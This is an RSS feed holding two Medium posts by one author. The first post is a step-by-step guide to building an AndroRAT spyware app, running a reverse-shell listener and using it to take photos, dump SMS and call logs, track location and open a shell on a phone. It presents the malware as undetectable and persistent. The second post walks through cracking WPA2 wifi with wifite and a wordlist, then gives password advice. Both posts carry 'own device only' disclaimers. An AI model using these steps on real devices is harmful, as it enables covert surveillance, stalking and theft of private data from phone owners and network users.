<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by French Eagle on Medium]]></title>
        <description><![CDATA[Stories by French Eagle on Medium]]></description>
        <link>https://medium.com/@french-eagle?source=rss-42d9b6b40918------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2Iip51bLU8otOwxBbeZm9Q.jpeg</url>
            <title>Stories by French Eagle on Medium</title>
            <link>https://medium.com/@french-eagle?source=rss-42d9b6b40918------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 10:07:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@french-eagle/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to hack an Android phone using Kali Linux]]></title>
            <link>https://french-eagle.medium.com/how-to-hack-an-android-phone-using-kali-linux-638b0c7bf99?source=rss-42d9b6b40918------2</link>
            <guid isPermaLink="false">https://medium.com/p/638b0c7bf99</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[androrat]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[spyware]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <dc:creator><![CDATA[French Eagle]]></dc:creator>
            <pubDate>Tue, 03 Nov 2020 20:33:45 GMT</pubDate>
            <atom:updated>2020-11-03T20:48:10.129Z</atom:updated>
            <content:encoded><![CDATA[<p>How to set up undetectable spyware on an Android phone using Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*esiOS_UeIhFTpqNM" /><figcaption>Photo by <a href="https://unsplash.com/@jupp?utm_source=medium&amp;utm_medium=referral">Jonathan Kemper</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>As I was re-watching Mr Robot, the famous realistic hacking TV show, I noticed in an episode how one of the hackers installed spyware on a phone to spy on the phone’s owner.</p><p>I wondered, now than android has evolved a lot, is it still possible to hack an android phone without being detected by antiviruses. After some research, I found some interesting results I’m about to share with you in this post. But before, as always…</p><h3>Disclaimer</h3><p>I remind you that it’s <strong>illegal </strong>to attack a device if you don’t have permission to do so. This demonstration is for educational purposes only. In this post, I’ll use <strong>my own phone</strong>. You shouldn’t try it on someone else.</p><h3><strong>Understand how a RAT works</strong></h3><p>First, a little theory before practice. A RAT (remote access Trojan) is malware installed on a target device (usually a phone or a pc). The malware can be installed on the target by the hacker himself, if he can physically access the device, or via an infected app the user installed. The spyware then sends signals to a particular IP. In order to receive the signal, the hacker must set up a listening shell. Then, it waits for a signal to be received. Once a signal is received from the target, the connection is established and the hacker is able to steal data from the device.</p><h3>Setting up the environment</h3><p>As always, I’ll use <strong>Kali Linux </strong>to create the malware and to set up my reverse shell.</p><h4>For the hypervisor users</h4><p>If you’re using a VM in a private network, make sure you hypervisor network settings are bridged (Connected to the physical network).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*ZKNmw3wl-IAMftBTgz4QdA.png" /><figcaption>Example of a bridged connection in VMWare Workstation</figcaption></figure><h4>Setting a static IP</h4><p>On a local network, we have to set a static IP and tell Kali not to listen to the DHCP. We need to edit the kali network file with nano</p><blockquote>sudo nano /etc/network/interfaces</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*FXvKEGOzYKVLknsUoMS-aA.png" /></figure><p>We add our settings under what’s already in the file, save (CTRL+S) and quit (CTRL+X).</p><blockquote>auto eth0<br>iface eth0 inet static<br>address [The IP you want to give to your kali]/24<br>gateway [your gateway IP ]</blockquote><p>Then, we restart the network service.</p><blockquote>sudo systemctl restart networking.service</blockquote><p>If you check with ip addr, it should look like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*77zWrnRXMaZVH3hNvRWxrA.png" /></figure><h4>Setting up Python</h4><p>Now, we need to install pip and colorama</p><blockquote>sudo apt install python3-pip</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*eSYyOMLBm9TorSdmgIcPcA.png" /></figure><p>Sometimes it is already installed, but just in case it isn’t :</p><blockquote>pip install colorama</blockquote><h4>Setting up Java</h4><p>Java is already installed in Kali. You just have to set your Java version to Java 8.</p><blockquote>sudo update-alternatives --config java</blockquote><p>Then choose the number corresponding to java 8 (here 2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*sxOmqEBTWMFmpbeV5YsD2w.png" /></figure><h4>Cloning AndroRat</h4><p>Clone the <a href="https://github.com/karma9874/AndroRAT">AndroRat Project</a> from github</p><blockquote>git clone <a href="https://github.com/karma9874/AndroRAT.git">https://github.com/karma9874/AndroRAT.git</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*H5ck2g-xKfMueUEEpVk0FQ.png" /></figure><h3>Building the infected app</h3><p>Ok, now that everything is set up, let’s move into the androRat folder and start the program.</p><blockquote>cd AndroRAT/</blockquote><p>We can build our malware using <strong>--build</strong>, with <strong>-i</strong> to indicate our IP, <strong>-p</strong> the port which the signal will be sent to, and <strong>-o</strong> the name of the app you’re generating.</p><blockquote>python3 androRAT.py --build -i [your_static_ip] -p [your_port] -o [your_app_name].apk</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*vSeRjyUY1Xopza7eG8TL7Q.png" /></figure><h3>Setting up a listener shell</h3><p>Once the app is generated, let’s set up the listener.<em> </em>I recommend to execute the shell <strong>as root</strong> to avoid permissions problems in Kali.</p><blockquote>sudo python3 androRAT.py --shell -i [your_static_ip] -p [your_port]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*t9mx09zpSnz4LYy5CRiWtw.png" /></figure><p>From now on, Kali is waiting for connections. Any person which install the infected app on his phone will connect to us.</p><h3>Installing the infected app on the target</h3><p>Let’s install the malware on the target. I’m going to use my phone as the target. As you can see, the app is not detected by the default antivirus. The only shady thing is that the app requires a lot of permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSVMqdZvHx0lOmvkErXVEw.png" /></figure><h3>The reverse Shell</h3><p>Back on our Kali Linux, we’re in the phone via a reverse shell the second the target opened the app. The malware is persistent, which means it will stay even if the user restarts his phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*FgfeskxmDAyT3A3QZ7ijmg.png" /></figure><p>Now that we have access to the target, a lot of features are available :</p><h4>Capture a photo / Video</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*z0w9LwUU76lGJGR5w4kYSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*wi1lv_CaF7ic0AK68ThoVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*29R1CmyC-VoQLEvByyybSA.png" /></figure><h4>Dump SMS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*s9YvxcUAdwyi5tez38vcTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*652gT1t-zglOmLruUbUjSg.png" /></figure><p>We can also get the call logs, vibrate the phone, record audio… and much more, here is the entire list (from <a href="https://github.com/karma9874/AndroRAT">https://github.com/karma9874/AndroRAT</a>)</p><pre>deviceInfo                 --&gt; returns basic info of the device<br>    camList                    --&gt; returns cameraID  <br>    takepic [cameraID]         --&gt; Takes picture from camera<br>    startVideo [cameraID]      --&gt; starts recording the video<br>    stopVideo                  --&gt; stop recording the video and return the video file<br>    startAudio                 --&gt; starts recording the audio<br>    stopAudio                  --&gt; stop recording the audio<br>    getSMS [inbox|sent]        --&gt; returns inbox sms or sent sms in a file <br>    getCallLogs                --&gt; returns call logs in a file<br>    shell                      --&gt; starts a sh shell of the device<br>    vibrate [number_of_times]  --&gt; vibrate the device number of time<br>    getLocation                --&gt; return the current location of the device<br>    getIP                      --&gt; returns the ip of the device<br>    getSimDetails              --&gt; returns the details of all sim of the device<br>    clear                      --&gt; clears the screen<br>    getClipData                --&gt; return the current saved text from the clipboard<br>    getMACAddress              --&gt; returns the mac address of the device<br>    exit                       --&gt; exit the interpreter</pre><h3>Conclusion</h3><p>I am amazed (and a bit scared too) about how simple it was to setup an undetectable RAT on an recent and updated android phone. Sure it requires to do some research and some network knowledge, but it’s far from impossible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=638b0c7bf99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to hack a wifi and how to secure yours]]></title>
            <link>https://french-eagle.medium.com/how-to-hack-a-wifi-and-how-to-secure-yours-19683fcd070a?source=rss-42d9b6b40918------2</link>
            <guid isPermaLink="false">https://medium.com/p/19683fcd070a</guid>
            <category><![CDATA[wpa2]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[kali]]></category>
            <dc:creator><![CDATA[French Eagle]]></dc:creator>
            <pubDate>Sat, 24 Oct 2020 19:00:30 GMT</pubDate>
            <atom:updated>2020-10-28T23:07:33.560Z</atom:updated>
            <content:encoded><![CDATA[<h4>How to get into a WPA/WPA2 protected wifi network with wifite and how to avoid being hacked</h4><figure><img alt="Illustration of a hacker hacking a website" src="https://cdn-images-1.medium.com/max/1024/0*hiRZsf2G8Idsn6Ra" /><figcaption>Photo by <a href="https://unsplash.com/@jefflssantos?utm_source=medium&amp;utm_medium=referral">Jefferson Santos</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Before I start, I would like to remind you that WPA2 is still considered secured today. If your wifi password is different than “qwerty” or “batman” you should be fine. But in some cases, we will be able to get into a wifi without knowing the password.</p><p>For this demonstration, I will be using Kali Linux 2020.2a (you can download it here for free <a href="https://www.kali.org/">https://www.kali.org</a>) and an ALFA Network AWUS036NHA antenna. You can find the antenna for less than 30$ on amazon. Once you have it, just plug it in and it should be ready to work.</p><p>Like the title says, we’re going to use a program called Wifite2.</p><h3>What’s Wifite ?</h3><p>Wifite is a hacking tool which simplifies as f*** wifi hacking. Here is some links where you can find useful information about this software :</p><ul><li>the github project : <a href="https://github.com/derv82/wifite2">https://github.com/derv82/wifite2</a></li><li>the command list (which you can find using<em> wifite -h</em> but anyway) : <a href="https://tools.kali.org/wireless-attacks/wifite">https://tools.kali.org/wireless-attacks/wifite</a></li></ul><h3>Disclaimer</h3><p>I remind you that it’s <strong>illegal </strong>to attack a system if you don’t have permission to do so. This demonstration is for educational purposes only. In this post, I’ll use <strong>my own wifi</strong>. You shouldn’t try it on someone else wifi.</p><h3>Enough talking, let’s hack</h3><p>Wifite2 is already installed in the standard version of kali Linux, so I’ll skip the installation part. Open a terminal and start wifite.</p><blockquote>sudo wifite -mac</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*2jUQ9x-cQyYfCCzpjL00VQ.png" /></figure><p>Note : I use <strong>-mac</strong> to randomize my mac address. It can be useful to avoid being tracked. Furthermore, it doesn’t make you invisible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*-h26ZDO4UPl0Svn6RjF9yw.png" /></figure><p>All wifi access points discovered by your antenna will be displayed. To stop scanning, use CTRL+C. Then, select the number you want to attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*SJX6ggmYp-UNuVP79Z7zDw.png" /></figure><p>For the demonstration, I’ll use my phone hotspot <strong>Téléphone Mi</strong>.</p><p>From now on, everything is automatic. Wifite will try multiple methods to get into the wifi.</p><h3>WPS attack (pixie dust)</h3><p>If the access point you’re trying to hack has WPS activated, wifite will try few WPS security breaches, just in case the access point is vulnerable to one of them (few access points models are). Here is a <a href="https://docs.google.com/spreadsheet/lv?key=0Ags-JmeLMFP2dFp2dkhJZGIxTTFkdFpEUDNSSHZEN3c&amp;type=view&amp;gid=0&amp;f=true&amp;sortcolid=-1&amp;sortasc=true&amp;rowsperpage=250">list of vulnerable devices</a>. My phone doesn’t have WPS, so I’ll skip those steps.</p><h3>PMKID attack</h3><p>It is a “new” method discovered in 2018 to get the WPA hash without needing someone to be connected (no need of the 4-way handshake for the experts). It doesn’t work on all devices but it’s worth trying.</p><p>Note : If you successfully get the hash with this method, you still have to crack the hash (see below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*rlj8Cv2kazlVd9KGNU66TA.png" /></figure><p>Unfortunately, in our case it failed.</p><h3>Handshake attack</h3><p>Last but not least, the handshake attack. The handshake attack takes place in two steps: first, we steal the encrypted handshake, then we crack the handshake.</p><h4>Stealing the handshake</h4><p>The point of this attack is to briefly disconnect an already connected user. It steals what we call the handshake, which is a encrypted communication between the connected device and the access point. In order to succeed, at least one device has to be connected to the access point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*MS-hiB8rRhY8gy_sPQBQXA.png" /></figure><p>Wifite is listening, but no device is connected to the wifi, so nothing happens. Let’s connect a phone to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*9R3EYJQGmXJxh9wm4rCetA.png" /></figure><p>Wifite discovered a new client and successfully stole the handshake.</p><h4>Cracking the handshake</h4><p>We’re not done yet. The handshake is encrypted. We still have to crack it to figure out the wifi passphrase. Few methods are available to crack a password.</p><p><strong>The brute force attack : </strong>trying all the combination possible aaa, aab, aac … until we find the password</p><p>Depending on the password strength, it will take few seconds or millions of years to crack the password. A wifi network passphrase contains at least 8 characters, and up to 60. With a normal computer, brute-forcing will take hundreds of years in the best case scenario. Not really optimal…</p><p>There is where word-lists enter in action.</p><p>A<strong> world-list</strong> is a list of probable passwords. Longer your list is, better chances you have to crack the password. There is a lot of word-lists on the internet, some are simple, some are very sophisticated. To get an idea, a really famous word-list is called rockyou.tkt. It contains around 14 millions common passwords.</p><p>To demonstrate the importance of the <strong>password strength</strong> here, I’ll use several passwords to protect my wifi, with increasing difficulties.</p><h4>Using a weak password</h4><p>The first password I used was <em>slimshady</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*k-j4NxKI3gB5aAWRKor3_w.png" /></figure><p>With not much of a surprise, it took less than a second to crack it, with the default wifite word-list. See how easy it was ?</p><h4>Using a not so weak password</h4><p>Let’s try with <em>SlimShady1</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*qEtl6ydE1RiixoS2apXqWQ.png" /></figure><p>The default word-list didn’t found it. That’s a good thing. But let’s try with the word-list, rockyou. We have to tell wifite we want to crack the handshake (with the --crack), because we already stole it. Then we tell wifite where is our dictionary (with the --dict).</p><blockquote>sudo wifite --crack --dict yourFolder/rockyou.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*MJmwt_zrbQ0vEXLHKr0qgA.png" /></figure><p>Then, we select the num we want (here it’s 1) and the cracking tool we want to use (here i’ll go with aircrack). Wifite is writing for us the aircrack command to crack the hash. Isn&#39;t it amazing ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*tv4_gwAHjfnZaJdj4ryohg.png" /></figure><p>After an hour or so, the password was found too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*FKLU7x-rSWXcsov_F9Nk_A.png" /></figure><h4>Using a really strong password</h4><p>If you’re using a really strong password, there is <strong>little to no chance</strong> that we can crack it. If the password is not in the word-lists, <strong>we can’t crack the handshake</strong>, even if we use bigger word-lists.</p><h3>Conclusion</h3><p>WPA/WPA2 wifi security <strong>mostly relies on the password</strong>. There is few security breaches among all the access points of the market, but they are unusual. The default password is usually a good one. If you change it, make sure it is a very strong password !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19683fcd070a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>